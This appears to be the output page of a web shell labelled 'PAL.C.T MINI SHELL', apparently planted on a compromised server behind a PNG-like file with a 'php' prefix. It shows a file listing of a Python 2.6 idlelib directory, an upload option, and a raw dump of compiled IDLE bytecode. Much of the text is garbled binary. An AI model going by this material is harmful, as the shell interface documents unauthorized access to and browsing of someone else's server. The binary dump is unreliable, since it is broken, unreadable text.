php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/idlelib/
upload
files >> //usr/lib/python2.6/idlelib/configHelpSourceEdit.pyo

Lc@sdZddkZddkZddkTddkZddkZdefdYZedjo<e	Z
dZee
dd	d
ei
e
indS(sKDialog to specify or edit the parameters for a user configured help source.iN(t*tGetHelpSourceDialogcBsSeZdddZdZdZdZdZddZddZ	RS(	tcCsCti|||idd|idtdt|i||i||i|id|i	||_
d	|_|i
|ii||ii||i|i|id|i|id|id|i|id|idf|i|id|i|id	S(
sGet menu entry and url/ local file location for Additional Help

        User selects a name for the Help resource and provides a web url
        or a local file as its source.  The user can enter a url or browse
        for the file.

        tborderwidthitheighttwidthtWM_DELETE_WINDOWs+%d+%dis<Return>N(tToplevelt__init__t	configuret	resizabletFALSEttitlet	transienttgrab_settprotocoltCanceltparenttNonetresultt
CreateWidgetstmenutsettpathtwithdrawtupdate_idletaskstgeometrytwinfo_rootxtwinfo_widthtwinfo_reqwidthtwinfo_rootytwinfo_heighttwinfo_reqheightt	deiconifytbindtOktwait_window(tselfRRtmenuItemtfilePath((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyRs,


		


	
c
Csmt||_t||_t||_t|dddt|_|iidtdt	dt
t|idtdt
d	d
}t|id|idd
|_|iit|idtdt
d	d}t|id|idd|_|ii|idtdddd|iidtdddd|idtdddd|iidtddddt|id	dddd|i}|iddt|}|idtdtt|d	ddddtd|i|_|iiddddddddt|d	dddd|i|_|iidddddddddS(NRitrelieftsidetexpandtfilltanchortjustifyttexts
Menu Item:ttextvariableRis,Help File Path: Enter URL or browse for filei(tpadxitpadyitBrowseitcommandtOKtdefaulttrowitcolumnRi(t	StringVarRRtfontSizetFrametGROOVEt	frameMaintpacktTOPtTRUEtBOTHtLabeltWtLEFTtEntryt	entryMenut	focus_sett	entryPathtButtont
browseFiletBOTTOMtXtACTIVER#tbuttonOktgridRtbuttonCancel(R%t	labelMenut	labelPathtbrowseButtontframeButtons((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyR,s<	
	
%cCsdddddg}|ii}|otii|\}}nrd}tid d
joKtiitiiti	d}tii
|pti}qn
ti}ti
d|d|}|id|d|}|o|ii|ndS(Ns
HTML Filess*.htm *.htmltTEXTs	PDF Filess*.pdfsWindows Help Filess*.chms
Text Filess*.txts	All FilesRitwintDocRt	filetypest
initialdirtinitialfile(s
HTML Filess*.htm *.htmlRT(s	PDF Filess*.pdfRT(sWindows Help Filess*.chm(s
Text Filess*.txtRT(s	All FilesR(RtgettostsplitRtsystplatformtjointdirnamet
executabletisdirtgetcwdttkFileDialogtOpentshowR(R%RWRtdirtbaset
opendialogtfile((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyRILs$	$cCst}|ii}|i|p3tiddddd||iit}nGt	|djo3tiddddd||iit}n|S(s3Simple validity check for a sensible menu item nameRsMenu Item ErrortmessagesNo menu item specifiedRis(Menu item too long:
Limit 30 characters.(
tTrueRRZtstripttkMessageBoxt	showerrorRERFtFalsetlen(R%tmenuOkR((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pytMenuOkcs 




c	Cst}|ii}|i|p3tiddddd||iit}nz|i	donf|d d	jo|d}nt
ii|p3tidddd
d||iit}n|S(s(Simple validity check for menu file pathRsFile Path ErrorRksNo help file path specified.Rswww.thttpisfile:sHelp file path does not exist.(swww.Rt(RlRRZRmRnRoRGRFRpt
startswithR[texists(R%tpathOkR((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pytPathOkws(




cCs|io|io|iii|iiif|_tidjoH|id}|i	doqt
|i|_d||id<n|indS(Ntdarwinitwwwsfile:shttp:sfile://(Rzsfile:shttp:(RsRxRRZRmRRR]R^Rutlisttdestroy(R%teventR((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyR#s
cCsd|_|idS(N(RRR|(R%R}((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyRs	N(
t__name__t
__module__RRRIRsRxRR#R(((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyR
s!	 			t__main__cCs!d}ttd}|iGHdS(NRsGet Help Source(RtrootR(tkeySeqtdlg((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pytrunsR.tDialogR3(t__doc__R[R]tTkinterRnRdRRR~tTkRRRHR=tmainloop(((s2/usr/lib/python2.6/idlelib/configHelpSourceEdit.pyt<module>s

		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`